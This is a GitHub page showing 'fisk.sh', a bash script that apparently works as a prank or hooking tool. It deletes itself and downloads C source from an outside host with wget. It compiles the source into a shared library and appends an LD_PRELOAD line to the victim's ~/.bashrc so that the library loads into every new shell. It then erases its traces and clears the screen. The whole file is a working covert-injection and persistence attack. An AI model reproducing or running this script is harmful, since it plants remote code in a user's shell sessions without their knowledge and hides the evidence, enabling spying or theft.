-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfisk.sh
More file actions
40 lines (28 loc) · 860 Bytes
/
fisk.sh
File metadata and controls
40 lines (28 loc) · 860 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash
# Copyright 2008 MTS productions
FISK_DIR=$HOME/.local/share/fisk
# Paranoia ftw.
LD_PRELOAD=""
# We never ran
rm $0
# Set up directories
mkdir -p $FISK_DIR
pushd $FISK_DIR
# Remove any leftover files from earlier fishings
rm -f libfisk.c libfisk.o libfisk.so
# Download sources, and adjust paths (probably a better way to do this)
wget http://home.samfundet.no/~sandsmark/libfisk.c
sed -e s,%FISK_DIR%,$FISK_DIR, -i libfisk.c
# Compile the fishing library
gcc -c -fPIC libfisk.c -D_GNU_SOURCE -Wall
gcc -shared -fPIC -o libfisk.so libfisk.o -ldl -Wall
# Take a backup of the clean bashrc
cp $HOME/.bashrc $FISK_DIR/bashrc
# Make sure our library is preloaded next time a shell is spawned
echo "LD_PRELOAD=$FISK_DIR/libfisk.so" >> $HOME/.bashrc
# Remove extra traces
rm -f libfisk.c libfisk.o
popd
echo "Fishing done..."
sleep 3
clear